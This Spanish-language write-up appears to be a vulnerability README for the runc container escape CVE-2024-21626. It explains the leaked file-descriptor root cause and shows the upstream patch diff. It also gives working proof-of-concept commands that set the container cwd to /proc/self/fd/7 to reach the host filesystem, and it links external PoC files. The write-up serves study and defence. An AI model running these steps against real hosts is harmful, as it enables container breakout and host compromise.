CVE-2024-21626

Causa raíz & Prueba de código

¿Cómo usar poc-autoplay?

make install

make uninstall

1. Causa raíz

• En versiones de runc v1.1.11 e inferiores, al abrir el directorio /sys/fs/cgroup del host para configurar cgroups, se dejaba ese descriptor de archivo abierto sin cerrar para el proceso de inicialización del contenedor, lo que provoca esta vulnerabilidad.

1. En la fase de inicialización de runc, se obtiene /proc/{PID}/fd/7 a través de /sys/fs/cgroup del host.
2. Sin cerrar ese fd, se realiza fork/exec del PID 1 del contenedor.
3. En el spec de runc o en la opción runc exec --cwd, se establece el directorio de trabajo (cwd) a una ruta controlada por el atacante, como /proc/self/fd/7/ obtenido anteriormente.
4. Después de chdir, el cwd del PID 1 se mueve fuera del rootfs del contenedor.
5. Se vuelve posible que los procesos dentro del contenedor accedan o modifiquen el sistema de archivos del host, logrando así un escape del contenedor.

--- a/libcontainer/init_linux.go
+++ b/libcontainer/init_linux.go
@@ -7,6 +7,7 @@ import (
        "net"
        "os"
        +    "path/filepath"
        "runtime"
        "runtime/debug"
        "strconv"
        @@ -268,6 +272,32 @@ func populateProcessEnvironment(env []string) error {
        return nil
        }

        +// verifyCwd ensures that the current working directory is still inside
        +// the container’s mount-namespace root. If getcwd(2) returns ENOENT,
         // it indicates the cwd is outside the container.
         // See CVE-2024-21626.
        +func verifyCwd() error {
        +   if wd, err := unix.Getwd(); errors.Is(err, unix.ENOENT) {
        +       return errors.New("current working directory is outside of container mount namespace root -- possible container breakout detected")
        +   } else if err != nil {
        +       return fmt.Errorf("failed to verify if current working directory is safe: %w", err)
        +   } else if !filepath.IsAbs(wd) {
            +       // Sanity check: cwd should always be absolute
                +       return fmt.Errorf("current working directory is not absolute -- possible container breakout detected: cwd is %q", wd)
                +   }
        +   return nil
            +}

            @@ -326,6 +353,10 @@ func finalizeNamespace(config *initConfig) error {
                if err := system.ClearKeepCaps(); err != nil {
                    return fmt.Errorf("unable to clear keep caps: %w", err)
                }
                +    // After chdir to config.Cwd, ensure it’s still inside the container
                    +    if err := verifyCwd(); err != nil {
                        +        return err
                            +    }
                return nil
            }

• Se agregó una lógica para verificar el cwd inmediatamente después de chdir.
• En libcontainer/init_linux.go se añadió la función verifyCwd() para verificar si el cwd aún está dentro del contenedor después de chdir, y decidir si se genera un error.
• Se añadió lógica para cerrar todos los descriptores de archivo filtrados.
• Justo antes del execve final, se cierran todos los fd internos para que no queden fd del host en los procesos del contenedor.

2. Prueba de concepto

• Entorno

    - wsl, vmware (Ubuntu 18 ~ 22)
    - kernel (6.6.87)
    - runc ( ≤ 1.1.11)
    - docker (28.1.1)
    - go (1.20.14)

• Explotación a través del propio runc

    mkdir CVE-2024-21626 && cd CVE-2024-21626 && mkdir rootfs

    docker pull alpine:latest
    docker export $(docker create alpine:latest) | tar x -C rootfs/

    runc spec
    sed -ri 's#(\s*"cwd": )"(/)"#\1 "/proc/self/fd/7"#g' config.json

    sudo bash -c "exec 7</; runc run demo"

Comenzando desde la ruta / local dentro de Docker.

• Al crear el contenedor, se debe configurar el directorio de trabajo en un descriptor de archivo específico. El fd abierto del host y el fd dentro del contenedor se vinculan, permitiendo el escape de Docker.

• Archivo PoC -> https://drive.google.com/file/d/14ttL_Hzbg1GO8WFt3fIfdP7Ik0s1yOM3/view?usp=sharing

- make install, make uninstall

• PoC MP4 -> https://drive.google.com/file/d/1NQwCPwxi51l_RFr8KMACH0Cupe7w_AnE/view?usp=sharing

3. ¿Cómo se puede fuzzear esta vulnerabilidad?

• Realizar fuzzing con go-fuzz del binario vulnerable de runc.
• Se puede realizar proporcionando configuraciones OCI aleatorias como entrada para la parte de procesamiento de chdir(config.Cwd) dentro de la función vulnerable finalizeNamespace().
• De esta manera, se podría analizar el manejo de excepciones o la parte de crash en el cwd después de chdir con rutas relativas.
• Realizar fuzzing con AFL++ del binario vulnerable de runc.
• Es un método que fuzzea el JSON del spec OCI y los argumentos CLI de runc.
• Analizando los crashes que ocurren en el punto de chdir, apuntando a la parte cwd en el JSON del spec OCI.